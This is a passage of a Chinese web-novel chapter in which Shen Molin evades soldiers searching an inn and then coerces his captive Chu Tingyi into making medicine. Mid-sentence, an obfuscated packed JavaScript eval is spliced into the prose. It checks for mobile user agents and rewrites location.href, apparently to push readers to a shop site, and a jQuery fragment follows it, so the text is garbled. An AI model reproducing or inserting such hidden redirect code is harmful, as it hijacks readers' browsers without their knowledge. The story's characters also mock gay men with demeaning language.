楼下官兵很快搜查到沈默临所在的这一层,嘈杂声音越来越近,隔壁房间已经响起激烈敲门声。
下一刻,沈默临的房门也响起。
“快开门,官府搜查!”
沈默临动作不急不慢,让门外官兵等了一会儿。
开门前他把衣服扯得更开,他神情慵懒,身子轻轻一倚:“大人要搜查什么?”
领头官兵对身后人使了个眼色,两个小兵就进入其中搜查。
岂料,眼前一幕实在让人难以言表。
那小伙计躺在床上,袒露上身,眼神迷离,再看门口那一样衣冠不整的男人,他们脑海中瞬间就明白过来是怎么回事。
他们实在搜不下去,又不得不例行公事。
只简单看了看柜子和一些角落,就是没去检查那张床。
小伙计的声音悠悠传来:“二位爷可搜仔细了?”
其中一个小兵咳嗽了两声,鸡皮疙瘩起一身。
“爷,我的被窝里还没搜过呢。”
说话的同时,他还不忘掀起一个被角。
声音娇滴滴的,眼神勾人,那白花花的皮肤,令人浮想联翩。
小兵连看都不敢多看他一眼。
搜查结束,小兵们赶忙跑到外头去。
“军爷慢走。”
小伙计还不忘最后再恶心他们一把。
领头官兵将楚听忆的画像展开在沈默临面前:“要是有看到画像上的姑娘,一定要去官府报备,只要消息有用,重重有赏赐。”
沈默临仔细看了那幅画像,上面的女人面容精致,浑身珠光宝气,一眼便知是位贵人。
只是楚听忆经过这两天摧残,完全没了之前的贵气,只余一身憔悴。
“大人,这是什么人啊?这么兴师动众的。”
“这位可是南安王的侧妃,现在到处都在找她。”
“知道了,我要是看见什么可疑的人,一定去衙门通报。”
给他交代完,那几个官兵好似逃难,快步离开。
沈默临把门关上后,还隐约能听见外头的议论声。
“两个大男人,光天化日之下真是不知道羞耻,我都怕我长针眼。”
“就是,快恶心**,我听说这种有龙阳之好的男人身上都不干净,全是病。”
“诶呦,你可别说了,还好咱们跑得快,今天可真够晦气的。”
总算把麻烦解决掉,他刚才在心里盘算,要是被发现,大不了杀出去,然后逃回墨阁。
特殊情况,特殊处理,他也顾不上面子不面子。
沈默临没想到京城的速度会这么快,看来之后的路很艰难,一路上都会有各种搜查的官兵,他也不可能次次都这么幸运地躲过去。
总不可能之后的路避开城镇吧,这样不合理,一定得想个万全之策。
他背靠在门板上,正在思索该如何解决后面的一连串麻烦时,小伙计从床上起来。
缓缓走到沈默临身前,低着头温声细语道:“公子,小的一直在这客栈做工,公子之后若是寂寞了,也可直接来找小的。”
他脸颊红红的,抬眼偷看沈默临的脸。
这张脸真是美到让他觉得窒息,他还从未见过这么好看的男人。
从沈默临踏入客栈的那刻起,他就有注意到,心里小鹿乱撞许久。
刚才做了一场暧昧戏,还给了他一个银子解决了眼下的燃眉之急,小伙计心里已经装满了沈默临。
“你说什么?”
沈默临目瞪口呆,他还真是选人选得精准无误啊!
难怪刚才那两声“官爷”叫得如此熟练勾人,合着他是个真龙阳。
普通男人遇上龙阳只会觉得害怕,沈默临想后退来着,但是背后没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160890|196595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路,外面搜查官兵还未走完。
他无路可走。
“你给老子滚。”
他咬牙切齿,像只炸毛的猫。
小伙计则露出一脸伤心之色,将身上衣服穿戴整齐,跪下给沈默临磕了个头。
“多谢爷给银子。”
他是真心想要通过服侍,来报答沈默临,奈何这只是他的一厢情愿。
小伙计从房间出去之后,沈默临立刻打开窗子通风,不管外面多么天寒地冻,他都要让屋里这股味道散去。
刚才小伙计从他身边走过,带起一阵熏香味道。
一个客栈伙计,穿个粗布麻衣,居然还熏香,刚才找他帮忙的时候都没发现。
寒风席卷整间屋子,沈默临冻得发抖。
总算把这股味道彻底散去,他缓缓呼出口气。
“真是倒霉,什么事都给碰上了,我真该上庙里求个签,然后做场法事去晦气。”
楚听忆醒来时,已经天黑。
她都不知道发生了什么,居然又昏迷这么久,这两天都没多少清醒时候。
“醒了的话,就赶紧做药。”
楚听忆扭动了下脖子,她感觉后脑的地方有些疼,她质问道:“你打晕我?”
“嗯,怎么了?”
他还挺理直气壮。
“你打晕我做什么?”
“哪儿这么多废话,让你做药呢,今天晚上我必须看到成果。”
说着他将一把**直直地插在桌子上。
在绝对武力的碾压之下,楚听忆没有再多说话,现在无论发生什么她都是吃亏一方。
必须顺着沈默临,保证自己不受伤害,至少现在他没有用绳子捆绑,多了些自由。
楚听忆仔细回忆昏倒前听到的声音,好像是一群官兵在搜查什么。
难道说是来找自己的?